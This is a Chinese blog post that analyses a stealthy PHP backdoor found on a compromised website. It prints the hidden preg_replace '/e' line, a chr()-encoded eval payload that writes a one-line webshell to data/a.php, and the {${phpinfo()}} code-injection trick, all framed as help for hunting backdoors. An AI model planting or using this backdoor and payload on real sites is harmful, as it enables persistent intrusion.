事情是这样的，朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到，小黑的伎俩很高级，每次使用完毕总是把后门删掉，但是每次都能继续进来，总是找不到从哪进来的。这个着实让人蛋疼。

后来，终于在日志中发现一丝蛛丝马迹，通过我的分析，我发现一个IP总是很奇怪的POST数据到某个文件。然后一段时间后，此IP就访问一个莫名奇妙文件，名字很显眼明显不是正常系统文件，而是PHP后门。但是很快使用完毕后门就被删除了。

哈哈，遇到小黑蛮细心的。

然后通过分析发现，小黑的访问的文件发现代码：

@preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);
  
如果你看到这个代码是不是有的也没什么问题，但是，这个就是小黑的掩藏的恶意代码和后门。隐蔽吧，基本上任何查杀软件都查杀不到。

preg_replace函数原型：

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明：

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示：要确保 replacement 构成一个合法的 PHP 代码字符串，否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

上面的代码是POST接受数据要测试，比较麻烦，如果换成GET获取数据的话。。。

举例：
  
echo preg_replace(“/test/e”,$_GET["h"],”jutst test”);
  
如果我们提交?h=phpinfo()，phpinfo()将会被执行(使用/e修饰符，preg_replace会将 replacement 参数当作 PHP 代码执行)。

如果我们要POST的话，我们测试提交下面的代码会怎么样呢?

h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

密文对应的明文是：

fputs(fopen(data/a.php,w),);

执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

这个就恐怖了吧。。。。

再来一个有难度的例子：


复制代码代码如下:
<?   
function test($str)   
{   
}   
echo preg_replace(“/s*[php](.+?)[/php]s*/ies”, ‘test(“\1″)’, $_GET["h"]);  
?>

提交 ?h=phpinfo() ，phpinfo()会被执行吗?

肯定不会。因为经过正则匹配后， replacement 参数变为’test(“phpinfo”)’，此时phpinfo仅是被当做一个字符串参数了。

有没有办法让它执行呢?

当然有。在这里我们如果提交?h={${phpinfo()}}，phpinfo()就会被执行。为什么呢?

在php中，双引号里面如果包含有变量，php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。

注意：双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量，’test(“{${phpinfo()}}”)’，达到让函数被执行的效果(${phpinfo()}会被解释执行)。

可以先做如下测试：

echo “{${phpinfo()}}”; phpinfo会被成功执行了。

所以，各位查找后门的时候注意查找下。

OK，说了那么多，也了解了，以上我给的代码：
  
@preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);
  
看似很正常的代码，其实就是一个极度危险的代码，隐藏颇深啊。哈哈。希望对大家有帮助

作者：合肥制造

来源：https://www.jb51.net/hack/182709.html
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！